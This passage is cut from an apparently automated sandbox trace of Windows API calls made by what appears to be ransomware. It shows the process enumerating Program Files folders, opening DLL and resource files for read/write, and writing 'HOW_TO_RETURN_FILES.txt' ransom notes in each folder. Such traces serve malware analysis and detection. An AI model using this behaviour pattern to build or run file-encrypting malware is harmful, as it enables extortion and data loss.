hFindFile=0x6ab310) returned 1 [0125.372] AreFileApisANSI () returned 1 [0125.372] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6a98f0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 68 [0125.372] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\system\\msmapi\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0125.372] GetFileType (hFile=0x12c) returned 0x1 [0125.373] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0125.373] AreFileApisANSI () returned 1 [0125.373] GetACP () returned 0x4e4 [0125.373] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Ole DB", cchWideChar=6, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Ole DB", lpUsedDefaultChar=0x37dfd8) returned 6 [0125.373] AreFileApisANSI () returned 1 [0125.373] GetACP () returned 0x4e4 [0125.373] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x699960, cbMultiByte=44, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\System\\Ole DB\\") returned 44 [0125.374] AreFileApisANSI () returned 1 [0125.374] GetACP () returned 0x4e4 [0125.374] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pðnk", lpUsedDefaultChar=0x37df4c) returned 1 [0125.374] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.374] AreFileApisANSI () returned 1 [0125.374] GetACP () returned 0x4e4 [0125.374] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pðnk", lpUsedDefaultChar=0x37df4c) returned 2 [0125.374] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.374] AreFileApisANSI () returned 1 [0125.374] GetACP () returned 0x4e4 [0125.374] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="en-US+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pðnk", lpUsedDefaultChar=0x37df4c) returned 5 [0125.374] AreFileApisANSI () returned 1 [0125.374] GetACP () returned 0x4e4 [0125.374] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=50, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\滰k㑚ĺ꺘j饠i-") returned 50 [0125.375] AreFileApisANSI () returned 1 [0125.375] GetACP () returned 0x4e4 [0125.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".on Files\\System\\MSMAPI\\1033\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dec0) returned 1 [0125.375] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.375] AreFileApisANSI () returned 1 [0125.375] GetACP () returned 0x4e4 [0125.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..n Files\\System\\MSMAPI\\1033\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dec0) returned 2 [0125.375] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.375] AreFileApisANSI () returned 1 [0125.375] GetACP () returned 0x4e4 [0125.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msdasqlr.dll.mui", cchWideChar=16, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="msdasqlr.dll.mui\\MSMAPI\\1033\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dec0) returned 16 [0125.375] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.376] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.376] AreFileApisANSI () returned 1 [0125.376] GetACP () returned 0x4e4 [0125.376] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="oledb32r.dll.mui", cchWideChar=16, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="oledb32r.dll.mui", lpUsedDefaultChar=0x37dec0) returned 16 [0125.376] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.376] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.376] AreFileApisANSI () returned 1 [0125.376] GetACP () returned 0x4e4 [0125.376] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="sqloledb.rll.mui", cchWideChar=16, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="sqloledb.rll.mui", lpUsedDefaultChar=0x37dec0) returned 16 [0125.376] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.377] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.377] AreFileApisANSI () returned 1 [0125.377] GetACP () returned 0x4e4 [0125.377] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="sqlxmlx.rll.mui", cchWideChar=15, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="sqlxmlx.rll.muii", lpUsedDefaultChar=0x37dec0) returned 15 [0125.377] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.377] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 0 [0125.377] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0125.377] AreFileApisANSI () returned 1 [0125.377] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b7378, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0125.377] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0125.398] GetFileType (hFile=0x130) returned 0x1 [0125.399] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.399] AreFileApisANSI () returned 1 [0125.399] GetACP () returned 0x4e4 [0125.399] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msdaosp.dll", cchWideChar=11, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="msdaosp.dllefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pðnk", lpUsedDefaultChar=0x37df4c) returned 11 [0125.399] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.399] AreFileApisANSI () returned 1 [0125.399] GetACP () returned 0x4e4 [0125.399] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msdaps.dll", cchWideChar=10, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="msdaps.dlll", lpUsedDefaultChar=0x37df4c) returned 10 [0125.399] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.399] AreFileApisANSI () returned 1 [0125.399] GetACP () returned 0x4e4 [0125.399] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msdasql.dll", cchWideChar=11, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="msdasql.dll", lpUsedDefaultChar=0x37df4c) returned 11 [0125.399] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.399] AreFileApisANSI () returned 1 [0125.399] GetACP () returned 0x4e4 [0125.399] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msdasqlr.dll", cchWideChar=12, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="msdasqlr.dllfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pðnk", lpUsedDefaultChar=0x37df4c) returned 12 [0125.399] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.399] AreFileApisANSI () returned 1 [0125.399] GetACP () returned 0x4e4 [0125.399] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msdatl3.dll", cchWideChar=11, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="msdatl3.dlll", lpUsedDefaultChar=0x37df4c) returned 11 [0125.399] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.399] AreFileApisANSI () returned 1 [0125.399] GetACP () returned 0x4e4 [0125.399] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="msxactps.dll", cchWideChar=12, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="msxactps.dll", lpUsedDefaultChar=0x37df4c) returned 12 [0125.399] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.399] AreFileApisANSI () returned 1 [0125.399] GetACP () returned 0x4e4 [0125.399] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="oledb32.dll", cchWideChar=11, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="oledb32.dlll", lpUsedDefaultChar=0x37df4c) returned 11 [0125.400] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.400] AreFileApisANSI () returned 1 [0125.400] GetACP () returned 0x4e4 [0125.400] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="oledb32r.dll", cchWideChar=12, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="oledb32r.dll", lpUsedDefaultChar=0x37df4c) returned 12 [0125.400] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.400] AreFileApisANSI () returned 1 [0125.400] GetACP () returned 0x4e4 [0125.400] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="oledbjvs.inc", cchWideChar=12, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="oledbjvs.inc", lpUsedDefaultChar=0x37df4c) returned 12 [0125.400] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.400] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.400] AreFileApisANSI () returned 1 [0125.400] GetACP () returned 0x4e4 [0125.401] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="oledbvbs.inc", cchWideChar=12, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="oledbvbs.inc", lpUsedDefaultChar=0x37df4c) returned 12 [0125.401] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.401] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.401] AreFileApisANSI () returned 1 [0125.401] GetACP () returned 0x4e4 [0125.401] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="sqloledb.dll", cchWideChar=12, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="sqloledb.dll", lpUsedDefaultChar=0x37df4c) returned 12 [0125.401] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.401] AreFileApisANSI () returned 1 [0125.401] GetACP () returned 0x4e4 [0125.401] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="sqloledb.rll", cchWideChar=12, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="sqloledb.rll", lpUsedDefaultChar=0x37df4c) returned 12 [0125.401] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.401] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.401] AreFileApisANSI () returned 1 [0125.401] GetACP () returned 0x4e4 [0125.401] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="sqlxmlx.dll", cchWideChar=11, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="sqlxmlx.dlll", lpUsedDefaultChar=0x37df4c) returned 11 [0125.401] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.401] AreFileApisANSI () returned 1 [0125.401] GetACP () returned 0x4e4 [0125.401] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="sqlxmlx.rll", cchWideChar=11, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="sqlxmlx.rll", lpUsedDefaultChar=0x37df4c) returned 11 [0125.401] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.402] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.402] AreFileApisANSI () returned 1 [0125.402] GetACP () returned 0x4e4 [0125.402] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="xmlrw.dll", cchWideChar=9, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="xmlrw.dllll", lpUsedDefaultChar=0x37df4c) returned 9 [0125.402] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.402] AreFileApisANSI () returned 1 [0125.402] GetACP () returned 0x4e4 [0125.402] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="xmlrwbin.dll", cchWideChar=12, lpMultiByteStr=0x6aaeac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="xmlrwbin.dll", lpUsedDefaultChar=0x37df4c) returned 12 [0125.402] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 0 [0125.402] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0125.402] AreFileApisANSI () returned 1 [0125.402] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6a98f0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 68 [0125.402] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\system\\ole db\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0125.402] GetFileType (hFile=0x12c) returned 0x1 [0125.403] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0125.403] AreFileApisANSI () returned 1 [0125.403] GetACP () returned 0x4e4 [0125.403] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="wab32.dll", cchWideChar=9, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="wab32.dlldll", lpUsedDefaultChar=0x37dfd8) returned 9 [0125.403] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0125.403] AreFileApisANSI () returned 1 [0125.403] GetACP () returned 0x4e4 [0125.403] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="wab32res.dll", cchWideChar=12, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="wab32res.dll", lpUsedDefaultChar=0x37dfd8) returned 12 [0125.403] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 0 [0125.403] FindClose (in: hFindFile=0x6ab2d0 | out: hFindFile=0x6ab2d0) returned 1 [0125.404] AreFileApisANSI () returned 1 [0125.404] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6a4190, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 61 [0125.404] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\system\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd10, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0125.405] GetFileType (hFile=0x128) returned 0x1 [0125.406] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 0 [0125.406] FindClose (in: hFindFile=0x6ab290 | out: hFindFile=0x6ab290) returned 1 [0125.406] AreFileApisANSI () returned 1 [0125.406] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x69d210, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 54 [0125.406] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd9c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0125.407] GetFileType (hFile=0x124) returned 0x1 [0125.407] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 1 [0125.407] AreFileApisANSI () returned 1 [0125.407] GetACP () returned 0x4e4 [0125.407] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x6ae08c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e0f0 | out: lpMultiByteStr="desktop.inis", lpUsedDefaultChar=0x37e0f0) returned 11 [0125.407] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6aaaa0 | out: lpFindFileData=0x6aaaa0) returned 1 [0125.407] AreFileApisANSI () returned 1 [0125.407] GetACP () returned 0x4e4 [0125.407] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DVD Maker", cchWideChar=9, lpMultiByteStr=0x6ae08c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e0f0 | out: lpMultiByteStr="DVD Makerni", lpUsedDefaultChar=0x37e0f0) returned 9 [0125.407] AreFileApisANSI () returned 1 [0125.408] GetACP () returned 0x4e4 [0125.408] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a6c30, cbMultiByte=27, lpWideCharStr=0x37de84, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\DVD Maker\\") returned 27 [0125.409] AreFileApisANSI () returned 1 [0125.409] GetACP () returned 0x4e4 [0125.409] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 1 [0125.409] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0125.409] AreFileApisANSI () returned 1 [0125.409] GetACP () returned 0x4e4 [0125.409] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 2 [0125.409] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0125.409] AreFileApisANSI () returned 1 [0125.409] GetACP () returned 0x4e4 [0125.410] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="audiodepthconverter.ax", cchWideChar=22, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="audiodepthconverter.ax28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37e064) returned 22 [0125.410] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\audiodepthconverter.ax" (normalized: "c:\\program files\\dvd maker\\audiodepthconverter.ax"), 